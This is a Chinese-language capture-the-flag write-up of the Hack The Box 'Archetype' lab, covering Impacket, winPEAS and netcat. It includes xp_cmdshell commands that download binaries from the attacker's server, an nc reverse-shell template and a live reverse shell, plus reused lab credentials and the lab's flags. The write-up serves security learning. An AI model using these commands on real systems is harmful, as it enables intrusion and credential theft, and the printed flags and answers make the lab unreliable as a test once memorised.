---
# System prepended metadata

title: HTB_Archetype
tags: [Note]

---

---
title: HTB_Archetype
---

# 工具介紹

### Impacket
Impacket 是一個由 Core Security 維護的 Python 類的工具組，用在處理網路協議，提供了對底層網路協議的存取，還能以程式化的方式解析網路封包，可以說是非常好用的一個工具組。

有以下這些工具
* 滲透與橫向，如 : `wmiexec.py`、`psexec.py`
* 協議通訊與漏洞利用，如 : `smbclient.py`
* 認證、憑證的使用和竊取，如 : `mssqlclient.py`
* Kerberos、AD 的相關攻擊，如 : `kerberoast.py`

而這一次的靶機就分別利用到了 Impacket 底下的`mssqlclient.py`、`psexec.py`



[Impacket's github](https://github.com/fortra/impacket)


---

###  :wrench: `mssqlclient.py`
`mssqlclient.py` 是 Impacket 其中一個非常實用的工具，它能夠與 Microsoft SQL Server (mssql) 進行連線

#### `mssqlclient.py`的幾個主要功能 :
- **執行 SQL 查詢並回傳結果**
- **連接到 mssql 伺服器**
    mssqlclient常見的三種連線方式 
    &emsp;:arrow_right: SQL Server 帳號密碼登入
    &emsp;:arrow_right: NTLM hash 的登入( 通常搭配 Mimikatz 之類的工具撈 NTLM hash )
    &emsp;:arrow_right: Windows 驗證 ( 或是 Kerberos )
- **互動式 Shell (這題的關鍵)**
    使用 mssql 底下的`xp_cmdshell`指令來生成一個 windows shell ，並傳入字串來執行
#### ❗`mssqlclient.py` 如何跟 MSSQL 做連線的?
mssql 與 client 端專門做交互時用的協定是 **Tabular Data Stream (TDS)**，是一個應用層上的協定，通常在 1433 的 TCP port 上，而在`mssqlclient.py`中，引入了同樣在 Impacket 底下的`tds.py`，把連線的資料流打包好做傳輸

[Tabular Data Stream (TDS) document](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec)

---


### :wrench: `psexec.py`
`psexec.py`是在 Impacket 底下的套件，它模仿了 Windows 上的 PsExec 工具來實作，以提供遠端連線執行 shell 指令

#### ❗`psexec.py` 怎麼連線到 windows 的主機的?
`psexec.py`利用 SMB 協定來連線到 Windows 主機的，具體步驟如下:
1. 先連線目標機器，並嘗試 SMB 認證 ( 帳號密碼、NTLM hash 或 Kerberos )
2. 檢查 `C$` 或 `ADMIN$` 是否有開啟共享 ( 用來注入 payload，其中包含 reverse shell )
3. 上傳 Payload
4. `psexec.py` 透過 **遠端程序呼叫 ( Remote Procedure Call, RPC )** 的方式來呼叫 **服務控制管理器 ( Service Control Manager, SCM）** 來建立服務
    :arrow_right: 告訴 Windows 主機 :「幫我在本機 ( target machine ) 創建一個服務，這個服務就是執行我剛剛上傳的 Payload 」
5. 取得 target machine 的 shell
---

### 額外介紹 : :wrench: `wmiexec.py`
跟`psexec.py`的功能很相近，一樣是在 Impacket 底下的套件，也一樣都能在 target machine 上遠端執行 shell 指令，但是實作的方法卻大不相同，步驟如下:
1. 透過 **DCOM（Distributed Component Object Model）** 架構與 **WMI（Windows Management Instrumentation）** 協定，從遠端連線到 target machine
2. 認證(帳號密碼 或 NTLM hash)，然後建立一個 WMI Session (包含要執行的指令)
3. 回傳執行的結果


### ⚔`psexec.py` v.s. `wmiexec.py`
既然功能如此相近的套件，那其中有有什麼不同的地方嗎?

| 特性| `psexec.py`| `wmiexec.py`|
|---|---|---|
| 是否需要共享資料夾 |  是|  否|
| 是否會建立服務|  會|  不會|
| 權限需求| 管理員（可寫入共享）| 管理員（有 WMI 權限）|
| 執行方式| 建立服務 :arrow_right: 執行程式 | 利用 WMI :arrow_right: 啟動 cmd.exe|
| 可互動 shell？| 有（就像真的 cmd）| 無（回傳結果）|
| 使用場景| 完整控制| 靜態滲透、橫向比較隱匿|

### 比較後的總結: 
> 想要隱匿起來不被發現 :arrow_right: `wmiexec.py`
> 想要互動方便 :arrow_right: `psexec.py`
---

###  :wrench: winPEAS.exe
winPEAS（Windows Privilege Escalation Awesome Script）是一個自動化資訊收集的工具，用來在 Windows 環境下找出可能可以用來提權的漏洞或配置錯誤

具體有以下這些功能:

* 系統資訊
![image](https://hackmd.io/_uploads/rks-bhllgg.png)
* 服務檢查
![image](https://hackmd.io/_uploads/By4lJhxegl.png)
* 檔案與目錄權限
![image](https://hackmd.io/_uploads/HyOnEhlege.png)
* 憑證資訊
![image](https://hackmd.io/_uploads/SkFBl2ggex.png)
* 註冊表分析
![image](https://hackmd.io/_uploads/HJfgADJeel.png)
* 排程任務
![image](https://hackmd.io/_uploads/Sk2Jy_ygge.png)
* DLL hijacking
![image](https://hackmd.io/_uploads/Sy-c-2ellx.png)

[winPEAS github](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)

---

###  :wrench: nc.exe
nc.exe 是 Windows 版本的 Netcat 執行檔，具有「連線」與「執行程式」，可以用來：
* 傳輸資料
* 建立連線
* 搭建 listener 或連出去作 reverse shell

#### reverse shell 使用方法
attacker's machine
```bash
nc -lvnp <listening port>
```
target machine
```bash
nc.exe <attacker IP> <listening port> -e cmd.exe
```
[nc github](https://github.com/int0x33/nc.exe/)

---

# 靶機實戰 : Archetype
![image](https://hackmd.io/_uploads/rkLJMu5C1e.png)

靶機出處 : HTB starting point, tier 2

Task 1
---
Which TCP port is hosting a database server?
A: 1433
第1題問 資料庫 server 是跑在哪個 tcp port 上
用 `nmap` 來掃，就可以看到 Microsoft SQL Server 2017 14.00.1000 跑在 1433 port 上
```
nmap -sV 10.129.95.187
```
![upload_37558a993631c6e8acaf23b9263236e4](https://hackmd.io/_uploads/Syvi83glgl.png)


Task 2
---
What is the name of the non-Administrative share available over SMB?
A: backups
這題問的是在 SMB 下，哪個 directory 是開放給非管理者共享的
SMB 的連線方式在之前的靶機也有出現過
```
smbclient -L //10.129.95.187 -U anonymous
Password for [WORKGROUP\anonymous]: //留空
```
可以看到有叫 backups 的 directory
![image](https://hackmd.io/_uploads/BkOHpDw1gx.png)


Task 3
---
What is the password identified in the file on the SMB share?
A: M3g4c0rp123
這題問的是在 SMB 分享的資料夾中有一個檔案存有密碼，密碼為何 ?

上一題有看到 backups 的 directory ，用`smbclient`連線進去
```
smbclient //10.129.95.187/backups -U anonymous
Password for [WORKGROUP\anonymous]: //留空
```
![image](https://hackmd.io/_uploads/ryvbRMq0kl.png)

可以看到有個叫`prod.dtsConfig`的檔案，看起來是 config ，把他抓下來看看

![image](https://hackmd.io/_uploads/rkchAG9Cke.png)
找到了 User Id 跟 Password

Task 4
---
What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?
這題問的是 Impacket 底下哪個工具可以用來建立與 mssql server 的連線
A: `mssqlclient.py`
![image](https://hackmd.io/_uploads/BJTUtiX1ex.png)

Task 5
---
What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?
A: xp_cmdshell
這題問的是哪個 mssql server 的 procedure 是用來生成一個 command shell 的

![image](https://hackmd.io/_uploads/HJ9hYsm1gg.png)

就可以在 MSSQL 的 document 找到了`xp_cmdshell`

![image](https://hackmd.io/_uploads/rkUSVX90Jg.png)

[xp_cmdshell's document](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16)

依照第4、5題的提示，我先用 `mssqlclient.py` 和這一組從 config 中撈到的密碼做連線登陸
```
Password = M3g4c0rp123;
User ID = ARCHETYPE\sql_svc
```

```bash
python3 mssqlclient.py -p 1433 ARCHETYPE/sql_svc:M3g4c0rp123@10.129.95.187 -windows-auth
```

![image](https://hackmd.io/_uploads/S1SIjX5Rkg.png)
一開始一直登入不進去，嘗試後才發現這組帳號密碼是 windows 認證的，而不是 SQL server 的帳號密碼，需要加上`-windows-auth`

Task 6
---
What script can be used in order to search possible paths to escalate privileges on Windows hosts ?
這題問的是有甚麼工具可以幫忙找出 windows 環境下有甚麼可以提權的弱點
A: winPEAS
![image](https://hackmd.io/_uploads/Hke-hnllle.png)
![image](https://hackmd.io/_uploads/SJNA4Q9AJe.png)

Task 7
---
What file contains the administrator's password?
A: ConsoleHost_history.txt

這題就開始問 administrator 的密碼存在哪裡

根據上一題有關 winPEAS 的提示
所以現在的目標是把 winPEAS.exe 丟到 target machine 上做執行

先架起 http.server
```
python3 -m http.server 80
```
接著用 wget 上傳檔案
```
exec xp_cmdshell "powershell -c wget 
http://10.10.14.167/winPEASx86.exe -outfile winPEASx86.exe"
```
發現目前路徑在 C:\Windows\system32 底下，而且沒有存取權限
![image](https://hackmd.io/_uploads/HypEU9nJgl.png)

所以就開始找有甚麼路徑有存取權限
![image](https://hackmd.io/_uploads/BkWQw5hkee.png)
發現在 C:\Users\Public 有存取權限
```
 exec xp_cmdshell "powershell -c cd C:\Users\Public;
 wget http://10.10.14.167/winPEASx86.exe -outfile winPEASx86.exe"
```
照原計畫上傳 winPEAS 並執行
![image](https://hackmd.io/_uploads/r19ooq2yll.png)
在 powershell setting 中就可以看到 ConsoleHost_history.txt 的檔案，這個 txt 是存放 powershell 執行過的歷史紀錄

有鑑於 winPEAS 輸出的資訊量太大很難做觀察看
而且 payload 在修改上特別麻煩，又因為可以做檔案上傳
所以我就嘗試使用 reverse shell 來方便 shell 的操作

從 github 上把 nc.exe 抓下來後，一樣架起 http.server
```
 python3 -m http.server 80
```
再從本地把 nc64.exe 上傳到 server 上做 reverse shell
```
 exec xp_cmdshell "powershell -c cd C:\Users\Public;
 wget http://10.10.14.167/nc64.exe -outfile nc64.exe"
```
![image](https://hackmd.io/_uploads/BylVyo2kee.png)

接下來執行上傳好的 nc64.exe
```
 exec xp_cmdshell "powershell -c cd C:\Users\Public;
 ./nc64.exe -e cmd.exe 10.10.14.167 8080"
```
本地就成功打到 reverse shell 了
![image](https://hackmd.io/_uploads/rytkginyeg.png)

把 ConsoleHost_history.txt 的內容撈出來
![image](https://hackmd.io/_uploads/SyVGGohkgx.png)
可以看到 administrator 的相關資料
```
/user:administrator  MEGACORP_4dm1n!!
```

Task 8
---
Submit user flag
A: 3e7b102e78218e935bf3f4951fec21a3

接續上一題，用 nc 打到 reverse shell 之後就可以比較方便的執行指令

之後在 Desktop 找到了`user.txt`，裡面就是 user flag
![image](https://hackmd.io/_uploads/ByFxDHqRye.png)


Submit root flag
---
過程:
接續第7題，把 ConsoleHost_history.txt 撈出來後看到的帳號密碼
```
/user:administrator  MEGACORP_4dm1n!!
```


用`psexec.py`做連線和遠端執行
```
python3 psexec.py administrator@10.129.95.187
Password: MEGACORP_4dm1n!!
```
![image](https://hackmd.io/_uploads/Sk1ZHjn1lx.png)
在相同的地方找到了`root.txt`，撈出來
![image](https://hackmd.io/_uploads/r1qXqB9RJg.png)
成功取得 root flag
`b91ccec3305e98240082d4474b848528`
